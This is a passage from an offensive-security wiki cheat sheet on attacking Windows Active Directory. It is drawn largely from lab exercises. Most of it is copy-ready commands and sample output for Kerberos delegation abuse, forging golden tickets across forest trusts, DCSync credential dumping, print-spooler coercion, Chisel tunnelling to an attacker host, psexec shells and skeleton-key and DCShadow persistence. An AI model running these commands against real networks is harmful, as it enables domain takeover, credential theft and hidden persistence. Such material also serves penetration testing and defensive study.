# A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.

# Enumerate from PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Kekeo.exe and Mimikatz.exe
# Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
# Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
# Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

# Rubeus
# Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
# Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
</syntaxhighlight>

=== Constrained Delegation 2 ===

'''S4U2Self'''

* '''Functionality''': Allows a frontend service to request a TGS to the frontend service from a KDC on behalf of the user authenticating against it without needing the user's password or hash

* '''Usage''': If '''TRUSTED_TO_AUTH_FOR_DELEGATION''' is present in the useraccountcontrol property

'''S4U2Proxy'''

* '''Functionality''': Requests a service ticket for the backend service on behalf of a user, depending on the service ticket obtained through S4U2Self or directly from a user authentication via Kerberos

* '''Usage''': Can use a '''forwardable TGS''' supplied by the user if Kerberos is used for authentication to the frontend service

<syntaxhighlight lang="bash">
# We assume we have compromised a user IISsvc that has these delegation rights
msds-allowedtodelegateto : {MSSQLSvc/cdc01.prod.corp1.com:1433, MSSQLSvc/cdc01.prod.corp1.com:SQLEXPRESS}
# First we are going to generate an NTLM hash from the password we compromised
PS C:\Tools> .\Rubeus.exe hash /password:lab
# Requesting TGT for IISSvc with the asktgt command by supplying the
username (/user), domain (/domain), and NTLM hash (/rc4):
PS C:\Tools> .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
# With the Base64-encoded TGT for IISSvc, we can use Rubeus' s4u command. Provide the TGT using /ticket, the username (e.g., domain admin) with /impersonateuser (utilizing S4U2Self), the service's SPN with /msdsspn (for S4U2Proxy), and use /ptt to inject it into memory directly.
PS C:\Tools> .\Rubeus.exe s4u /ticket:doIE+jGGBT... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
# We now have the ticket for the service injected into memory and we can authenticate against MSSQL.
PS C:\Tools> klist Current LogonId is 0:0x2b28f Cached Tickets: (1) #0> Client: administrator @ PROD.CORP1.COM Server: mssqlsvc/cdc01.prod.corp1.com:1433 @ PROD.CORP1.COM KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 10/9/2023 12:42:35 (local) End Time: 10/9/2023 22:35:29 (local) Renew Time: 10/16/2023 12:35:29 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called:
.\SQL.exe
Auth success!
Logged in as: PROD\Administrator
...
# Since we have a ticket in memory for authenticating to mssql, we can use this to get code exectution. https://book.ghanim.no/?page_id=2703#Code_Execution

# ATTACKING using kali and impacket
# First enumerate domain for constrained delegation using PowerView
Get-DomainUser -TrustedToAuth
# Look for
samaccountname : iisservice
...
msds-allowedtodelegateto : {MSSQLSvc/sql01.domain.com:SQLEXPRESS, MSSQLSvc/sql01.domain.com:1433}
...
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
# Constrained delegation is configured for the iisservice account.
# msds-allowedtodelegateto property contains the SPN of the MS SQL server on SQL01. Indicates that constrained delegation is only allowed to that SQL server.
# TRUSTED_TO_AUTH_FOR_DELEGATION - Value is used to indicate if a constrained delegation can be used if the authentication between the user and the service uses a different authentication mechanism like NTLM.
# Request a ticket. If you have a password remove -hashes
impacket-getTGT domain.com/iisservice -hashes :12bb0b468b42c76d48a3a5ec3b6ce5de
# Export to KRB5CCNAME
export KRB5CCNAME=iisservice.ccache
# iiservice acc is configured with constrained delegation, that means we can request service tickets for other users based on the SPNs set.
impacket-getST -spn mssqlsvc/sql01.domain.com:1433 -impersonate administrator domain.com/iisservice -k -no-pass
# Export the administrator ccache to KRB5CCNAME
export KRB5CCNAME=administrator.ccache
# Connect to sql01 using kerberos authentication
impacket-mssqlclient sql01.domain.com -k
# Or much easier way to obtain code exec if user is SA or DBO is to use MSSQL Pwner
MSSqlPwner.py sql01.corp.com -k -no-pass interactive
</syntaxhighlight>

=== Resource based Constrained Deleagation ===

'''Introduction:'''

* RBCD is a security feature introduced in Windows Server 2012 by Microsoft. It's designed to offer a more secure delegation mechanism, reducing the need for elevated access rights, specifically the SeEnableDelegationPrivilege.

* '''Microsoft's Extensions - S4U2Self and S4U2Proxy'''
Microsoft realized Kerberos needed some help with constrained delegation and the double-hop issue, so they created two add-ons.

* '''S4U2Self (Extension 1)'''
This lets a service prove your identity to another service without needing your password, as if it's you. It's like the service can show a digital ID card that says, "Trust me, I'm acting for this user."

* '''S4U2Proxy (Extension 2)'''
After S4U2Self does its job, S4U2Proxy takes over. It allows the first service to talk to the second service on your behalf. It's as if the service has a special ticket that says, "The user has given me permission to do this."

'''Key Concepts:'''

* '''RBCD Configuration''': The delegation is controlled by the''' msDS-AllowedToActOnBehalfOfOtherIdentity''' property on the backend service.

* '''Advantages''': The need for '''SeEnableDelegationPrivilege''' permissions is eliminated. Backend service administrators can typically configure RBCD.

* '''Attack Prerequisites''': The frontend service must have an SPN set in the domain. While user accounts typically don't have an SPN set, all computer accounts do.

See notes for Resourced box

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation]

[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution Kerberos Resource-based Constrained Delegation: Computer Object Takeover - Red Team Notes (ired.team)]

<syntaxhighlight lang="bash">
# The attacker can pass-the-ticket and impersonate the user to gain access to the victim.
# To check the MachineAccountQuota of the domain you can use:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
# Check if you have GenericWrite on a computer object.
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

# From Windows
# Attack
# Creating a Computer Object
# You can create a computer object inside the domain using :
Import-Module .\powermad.ps1
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview
# Performing a complete S4U attack
# First of all, we created the new Computer object with the password 123456, so we need the hash of that password:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
# This will print the RC4 and AES hashes for that account.
# Now, the attack can be performed. Just use on of the hash types, not all of them :
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
# You can generate more tickets just asking once using the /altservice param of Rubeus:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
### Note that users has an attribute called "Cannot be delegated". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound.
# Accessing
# The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:
ls \\victim.domain.local\C$

# From Linux
# METHOD 2 - GETTING A SHELL
# Create a new machine account on the domain
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.200.175 -hashes : -computer-name 'FAKECOMPUTER$' -computer-pass '123456'
# Verify that the machine account was added to the domain. Must be done through a shell on the Windows.
*Evil-WinRM* PS C:\Users\l.livingstone\Documents> Get-ADComputer FAKECOMPUTER
# Manage delegation rights by using rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py
python3 rbcd.py -dc-ip 192.168.200.175 -t RESOURCEDC -f 'FAKECOMPUTER' -hashes : resourced\\l.livingstone
# If you have the hash of the user
impacket-rbcd -action write -delegate-to "BACKUP01$" -delegate-from "FAKECOMPUTER$" resourced.local/l.livingstone -hashes :942f15864b02fdee9f742616ea1eb778
# Confirm that the action was successful
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents> Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentity
# We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.
/usr/bin/impacket-getST -spn cifs/resourcedc.resourced.local resourced/FAKECOMPUTEr$:'123456' -impersonate Administrator -dc-ip 192.168.200.175
# or
impacket-getST -spn cifs/resourcedc.resourced.local -impersonate administrator 'resourced.local/FAKECOMPUTER$:123456'
# The ticket is aved on our attacker machine as Administrator.ccache. Export the environment variable named KRB5CCNAME with the location of file
export KRB5CCNAME=./Administrator.ccache
# Use psexec to get a shell
/usr/bin/impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.200.175
# or
impacket-psexec administrator@resourcedc.resourced.local -k -no-pass

# From Windows
# Method 3
# Enumerate
PS C:\tools> Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ |
Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
"$($env:UserDomain\$env:Username)") {$_}}
# Creating a New Computer Account:
# Use the Powermad.ps1 script to create a new computer account named myComputer with the password 'h4x'.
. .\powermad.ps1
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-
SecureString 'h4x' -AsPlainText -Force)
# Setting up the Security Descriptor:
# Obtain the SID of the newly created computer account.
# Create a new security descriptor using the obtained SID.
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
# Converting the Security Descriptor:
# Convert the security descriptor into a byte array format suitable for the msDS-AllowedToActOnBehalfOfOtherIdentity property.
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
# Updating the Property:
# Update the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer object (appsrv01).
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Verifying the Setup:
# Check the security descriptor to ensure it's set correctly.
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
$Descriptor.DiscretionaryAcl
# Launching the Attack:
# Obtain the hash of the computer account password using Rubeus.
.\Rubeus.exe hash /password:h4x
# Use the S4U extensions with Rubeus to request a TGS for appsrv01, impersonating the administrator.
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221
/impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
# Verifying the Attack:
# List the service ticket to CIFS on APPSRV01 using klist.
klist
# Gaining Access:
# Access the file services on appsrv01 as the administrator domain admin user.
dir \\appsrv01.prod.corp1.com\c$
# Getting shell
psexec.exe \\appsrv01 cmd.exe
</syntaxhighlight>

==== Using NetExec for S4U2Self and S4U2Proxy ====

New feature in [https://twitter.com/hashtag/NetExec?src=hashtag_click #NetExec] : S4U2Self and S4U2Proxy support and automation with --delegate and --self .

It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities

[https://twitter.com/_zblurx/status/1720409757175926893 (2) Thomas Seigneuret on X: "New feature in #NetExec : S4U2Self and S4U2Proxy support and automation with --delegate and --self It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities 🔥 For example with RBCD: https://t.co/1KgFDNcwcc" / X (twitter.com)]

[[File:2023-11-image.png|thumb]]

It is also possible to use only S4U2Self in order to impersonate any account on a domain joined computer for which you know the credentials:

[[File:2023-11-image-2.png|thumb]]

==== Desc from BloodHound ====

<syntaxhighlight lang="bash">
# Full control of a computer object can be used to perform a resource based constrained delegation attack. Abusing this primitive is currently only possible through the Rubeus project.
# First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account:
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
# PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
# We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!
# And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
</syntaxhighlight>

== DCSync ==

<syntaxhighlight lang="bash">
impacket-secretsdump domain.com/domainadmin01@dc_IP -hashes :NTLM_HASH -dc-ip DC_IP -outfile dcsync.txt
</syntaxhighlight>

== ACLs Abuse ==

[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces]

== Printer Spooler service abuse ==

If the '''''Print Spooler''''' service is '''enabled,''' you can use some already known AD credentials to '''request''' to the Domain Controller’s print server an '''update''' on new print jobs and just tell it to '''send the notification to some system'''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse]

<syntaxhighlight lang="bash">
# Finding Windows servers on the domain
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

# Finding spooler services listening
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
# For linux, use rpcdump.py
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

# Ask service to authenticate against an arbitrary host
# https://github.com/NotMedic/NetNTLMtoSilverTicket
SpoolSample.exe
# For linux use
# https://github.com/NotMedic/NetNTLMtoSilverTicket
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python dementor.py -d domain -u username -p password
printerbug.py 'domain/username:password'@
</syntaxhighlight>

== Zerologon ==

<syntaxhighlight lang="bash">
# https://github.com/dirkjanm/CVE-2020-1472
# https://www.secura.com/blog/zero-logon
# Bypass authentication and gain administrator-level privileges in a matter of seconds. If vulnerable.
# Test for zerologon
https://github.com/SecuraBV/CVE-2020-1472
# PoC
https://github.com/dirkjanm/CVE-2020-1472
</syntaxhighlight>

== Windows Credentials ==

[https://book.ghanim.no/?page_id=2703#Windows_Credentials CheatSheet II – Advanced – BOOK_GHANIM]

----

= Pivoting =

== Living Off the Foreign Land ==
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-2
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3

https://blog.aghanim.net/?p=2294

== Tunnelling/ Proxying ==

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.
-----------------------------------------------
# SSHUTTLE
# Simulate a VPN tunnel using sshuttle. Now I can reach other targets, which originally was unreacheable, on the network by going through 172.16.0.5
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24
</syntaxhighlight>

== Port Forwarding ==

<syntaxhighlight lang="bash">
# -L means portforwarding. This will forward port 80 on host 172.16.0.10 to our attacker on port 8000. Can access the port (webserver) by typing localhost:8000.
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
</syntaxhighlight>

= Post-exploitation with high privileged account =

Once you get Domain Admin or Enterprise Admin you can dump the domain database: '''ntds.dit'''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account]

== Dumping Domain Credentials ==

== Persistence ==

== Golden Ticket ==

=== Golden ticket on one domain ===

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket]

A valid '''TGT as any user''' can be created '''using the NTLM hash of the krbtgt AD account'''. The advantage of forging a TGT instead of TGS is being '''able to access any service''' (or machine) in the domain and the impersonated user.

<syntaxhighlight lang="bash">
# Find domain SID.
whoami /user # Need to be logged in as a user and not nt authority\system
# Or use PowerView.ps1
Get-DomainSID
# EXAMPLE 1
# Use mimikatz to generate a golden ticket
mimikatz # privilege::debug
mimikatz # kerberos::golden /user:alice /domain:svcorp.com /sid:S-1-5-21-466546139-763938477-1796994327 /target:sv-file01.svcorp.com /service:HTTP /rc4:7f004ce6b8f7b2a3b6c477806799b9c0 /ptt
# EXAMPLE 2
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory
# EXAMPLE 3
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
# EXAMPLE 4
# Linux - impacket
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

# With the golden ticket injected into memory, we can launch a new command prompt with
misc::cmd and again attempt lateral movement with PsExec.
psexec.exe \\dc01 cmd.exe
</syntaxhighlight>

=== Taking over forest with extra SIDs ===

'''Crafting the Golden Ticket with Extra SIDs:'''

* Imagine an attacker manages to compromise the krbtgt account of a domain. This is akin to finding a master key. With this, they can meticulously craft a special Kerberos ticket, termed a "golden ticket." This ticket can be manipulated, almost like forging a passport, to include extra SIDs. Specifically, they can add the SID of the Enterprise Admins group from another domain. This means, even if the attacker was initially confined to one domain, this ticket can catapult them to Enterprise Admin rights in another domain.

<syntaxhighlight lang="bash">
# From Windows
# Extract the password hash of the krbtgt account.
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
# Golden Ticket Creation: Armed with the hash, we can proceed use the kerberos::golden command in Mimikatz. Craft a golden ticket, and append the SID of the Enterprise Admins group from another domain to the ExtraSids field.
# As part of the kerberos::golden command’s arguments, we will need the domain SID for both domains. We can obtain these with Get-DomainSID from PowerView:
PS C:\tools> Get-DomainSID -Domain prod.corp1.com
S-1-5-21-3776646582-2086779273-4091361643
PS C:\tools> Get-DomainSid -Domain corp1.com
S-1-5-21-1095350385-1831131555-2412080359

mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt
...
Golden ticket for 'h4x @ prod.corp1.com' successfully submitted for current session

# Get command exec
C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd
...
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

# Verifying Group Memberships
C:\Windows\system32> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type
============================================ ================
Everyone Well-known group
...
PROD\Domain Admins Group
PROD\Group Policy Creator Owners Group
Unknown SID type
Unknown SID type
CORP1\Enterprise Admins Group
...
-----------------------------------------------
# From Linux
https://www.thehacker.recipes/ad/movement/trusts#forging-tickets
ticketer.py -nthash KRBTGT-hash -domain DOMAIN NAME -domain-sid TARGET DOMAIN SID with RID.(can be administrator sid with 500 rid)
ticketer.py -nthash 0540fe51ddd618f42a66ef059ac36555 -domain internal.domain.com -domain-sid S-1-5-21-3056178012-3972705859-491075555 -extra-sid S-1-5-21-2734290894-461713716-14185555-519 Administrator
# Add ccache to krb5ccname
export krb5ccname=Administrator.ccache
# Use secretsdump or psexec or netexec
secretsdump.py 'internal.domain.com/Administrator'@DC01.domain.com -k -no-pass
</syntaxhighlight>

=== SID filtering ===

Forest trust introduces the concept of SID filtering. In forest trust, the contents of the ExtraSids field are filtered so group memberships are not blindly trusted.

<syntaxhighlight lang="bash">
# Using PowerView we can enumerate domain trust on the target domain. We have already compromised corp1.com and we want to generate a golden ticket using the technique above.
PS C:\> Get-DomainTrust -Domain corp2.com
...
TrustAttributes : FOREST_TRANSITIVE
...
# Sometimes orgs need to relax SID filtering protectiong because of merger or other resons. That can be done by enabled SID history, which relax the protection.
C:\Users\Administrator> netdom trust corp2.com /d:corp1.com /enablesidhistory:yes
Enabling SID history for this trust.
The command completed successfully.
# Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the
SID history setting.
# This means we need to find a non-default group, because they will always have a RID higher than 1000.
# We can enumerate members of the built-in administrators on target domain.
Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com
# Once we have everything (The two domain SIDs, krbtgt NTLM hash, and a non-default group RID) we can request a golden ticket using mimikatz.
kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-
1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-
4182647938-3943167060-1815963754-1106 /ptt
# And gain access to target
C:\> PsExec.exe \\dc01.corp2.com cmd
...
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
corp1\h4x

# Meterpreter shell using run.txt
msf6 exploit(multi/handler) > run
[*] Meterpreter session 2 opened (192.168.45.169:443 -> 192.168.174.80:63561) at 2023-10-11 15:24:53 -0400
meterpreter > getuid
Server username: CORP1\h4x
meterpreter > sysinfo
Computer : DC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : CORP2
Logged On Users : 16
Meterpreter : x64/windows
meterpreter >
</syntaxhighlight>

== Silver Ticket ==

== AdminSDHolder Group ==

== DSRM Credentials ==

== ACL Persistence ==

== Security Descriptors ==

== Skelton Key ==

<syntaxhighlight lang="bash">
Run from DC. Enables password “mimikatz” for all users.
privilege::debug
misc::skeleton
</syntaxhighlight>

== Custom SSP ==

== DCShadow ==

[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#dcshadow OSEP Cheat Sheet | 0x4rt3mis]

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses <code>Set-DCShadowPermissions.ps1</code> cmdlet).

<syntaxhighlight lang="powershell">
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
</syntaxhighlight>

Then, from any machine, use Mimikatz to stage the DCShadow attack.

<syntaxhighlight lang="bash">
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;<nowiki>[[S-1-5-21-1874506631-3219952063-538504511-45109]]</nowiki>)
</syntaxhighlight>

Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs.

<syntaxhighlight lang="bash">
lsadump::dcshadow /push
</syntaxhighlight>

= You got domain admin, now what =

[https://infosecwriteups.com/you-got-domain-admin-now-what-aab749c4200d You got Domain Admin, now what?. Typically when you’re starting out on… | by Jevon Davis | InfoSec Write-ups (infosecwriteups.com)]

[https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html You-got-Domain-Admin-now-what_-InfoSec-Write-ups][https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html Download]
[[Category:Offensive Security]]

Handbook I - Basic

2026-06-04T20:02:57Z

Administrator: /* WinRM development and lab setup */

== Enumeration is key ==

* Look over the ports and scans. Get an idea of what you're working with.

* Dont just jump on a port and start hacking

* Find service and versions

* Find known service bugs

* Find config issues

* Find vulnerabilities using '''Searchsploit''' every service/app available

* Enumerate each service closely. Look at the header using nc/telnet.

* Default credentials (admin:admin, admin:secret, admin:pass etc…)

----

== Useful websites ==

[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]

